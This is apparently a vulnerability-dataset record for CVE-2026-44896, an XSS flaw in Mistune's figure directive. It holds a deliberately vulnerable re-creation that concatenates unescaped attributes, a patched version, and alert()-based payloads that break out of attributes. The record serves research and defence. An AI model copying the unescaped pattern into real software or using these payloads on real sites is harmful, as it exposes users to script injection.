{"id":1922,"cve":"CVE-2026-44896","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-44896\/","cwe":"CWE-79","cwe_number":79,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/79","cvss_score":5.3,"published":"2026-05-26","owasp":"A03 Injection","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Cross-Site Scripting (XSS)","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Mistune's image directive allows XSS via unescaped attribute injection.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-44896\/","description":"Mistune is a Python Markdown parser with renderers and plugins. In 3.2.0 and earlier, in src\/mistune\/directives\/image.py, the render_figure() function concatenates figclass and figwidth options directly into HTML attributes without escaping. This allows attribute injection and XSS even when HTMLRenderer(escape=True) is used, because these values bypass the inline renderer. Version 3.2.1 contains a patch.","solution":"Upgrade Mistune to version 3.2.1 or later.","affected_component":"Mistune","fixed_by_upgrading":true,"vulnerable_code":"import mistune\nfrom mistune.directives import Directive, Plugin\n\n# This example re-creates the vulnerable logic found in mistune < 3.2.1.\n# It uses a custom directive plugin to process a Markdown block.\n\nclass VulnerableImageDirective(Directive):\n    def __call__(self, md):\n        self.register_directive(md, 'figure')\n\n    def parse(self, block, m, state):\n        options = dict(self.parse_options(m))\n        src = options.get(\"src\", \"\")\n        alt = options.get(\"alt\", \"\")\n        figclass = options.get(\"figclass\", \"\")\n        figwidth = options.get(\"figwidth\", \"\")\n        \n        # The vulnerability lies in the render method, which is called later.\n        # Here we just pass the raw, unescaped options.\n        return {\n            'type': 'figure',\n            'attrs': {\n                'src': src,\n                'alt': alt,\n                'figclass': figclass,\n                'figwidth': figwidth,\n            }\n        }\n\n    # This method mimics the vulnerable code in src\/mistune\/directives\/image.py\n    def render_html_figure(self, attrs):\n        src = attrs[\"src\"]\n        alt = attrs[\"alt\"]\n        figclass = attrs[\"figclass\"]\n        figwidth = attrs[\"figwidth\"]\n\n        html = f'<img src=\"{src}\" alt=\"{alt}\">'\n\n        # VULNERABLE CONCATENATION FOR FIGCLASS\n        klass = ''\n        if figclass:\n            klass = ' class=\"' + figclass + '\"'\n\n        # VULNERABLE CONCATENATION FOR FIGWIDTH\n        style = ''\n        if figwidth:\n            style = ' style=\"width: ' + figwidth + '\"'\n\n        return f'<figure{klass}{style}>{html}<\/figure>'\n\n# Malicious Markdown payload\n# The figclass attribute is crafted to close the class=\"...\" attribute\n# and inject an onmouseover event handler.\nmalicious_markdown = \"\"\"\n.. figure::\n   :src: image.png\n   :alt: picture\n   :figclass: \"><script>alert('XSS')<\/script>\n\"\"\"\n\n# Setup mistune with the vulnerable plugin.\n# Note that escape=True has no effect on this vulnerability.\nmarkdown_parser = mistune.create_markdown(\n    escape=True,\n    plugins=[VulnerableImageDirective()]\n)\n\n# Render the malicious markdown\ninjected_html = markdown_parser(malicious_markdown)\n\n# The output demonstrates the successful XSS injection.\nprint(injected_html)","patched_code":"import html\n\ndef patched_render_figure(src, alt=\"\", title=\"\", figclass=\"\", figwidth=\"\"):\n    \"\"\"\n    A simplified function representing the patched code from mistune v3.2.1.\n    In the actual library, this is a method of a class.\n    \"\"\"\n    # Dummy representation of an internal image rendering call\n    inner_image_html = f'<img src=\"{html.escape(src, quote=True)}\" alt=\"{html.escape(alt, quote=True)}\">'\n\n    html_output = '<figure'\n    if figclass:\n        # FIX: The 'figclass' value is properly escaped to prevent attribute injection.\n        escaped_figclass = html.escape(figclass, quote=True)\n        html_output += ' class=\"' + escaped_figclass + '\"'\n\n    if figwidth:\n        # FIX: The 'figwidth' value is properly escaped to prevent style attribute injection.\n        escaped_figwidth = html.escape(figwidth, quote=True)\n        html_output += ' style=\"width: ' + escaped_figwidth + '\"'\n\n    html_output += '>\\n'\n    html_output += inner_image_html\n    if title:\n        html_output += '\\n<figcaption>' + html.escape(title) + '<\/figcaption>'\n    html_output += '\\n<\/figure>'\n    return html_output\n\n# Example of vulnerable input\nmalicious_class = '\" onload=\"alert(\\'xss\\')'\nmalicious_width = '100px;\" onload=\"alert(\\'xss\\')'\n\n# The patched function correctly escapes the malicious input, neutralizing the attack.\n# Vulnerable output would have been: <figure class=\"\" onload=\"alert('xss')\">...\n# Patched output is safe: <figure class=\"&quot; onload=&quot;alert(&#x27;xss&#x27;)\">...\nsafe_html_output = patched_render_figure(\"image.jpg\", alt=\"test\", figclass=malicious_class, figwidth=malicious_width)\n\n# print(safe_html_output)","payload_needed":true,"payload":"```markdown\n.. figure:: image.png\n   :figclass: a\" onmouseover=\"alert('XSS')\n\n   This is a caption.\n```","payload_status":"available","published_fix":[{"repository":"lepture\/mistune","commit_url":"https:\/\/github.com\/lepture\/mistune\/commit\/a3cb6e5655308797e8be021d6c7b5bab13cbace2","commit_subject":"fix: escape html text","units":[{"file":"src\/mistune\/directives\/admonition.py","function":null},{"file":"src\/mistune\/directives\/admonition.py","function":"render_admonition"},{"file":"src\/mistune\/directives\/image.py","function":"render_figure"},{"file":"src\/mistune\/renderers\/html.py","function":"HTMLRenderer.block_error"}]}],"references":null}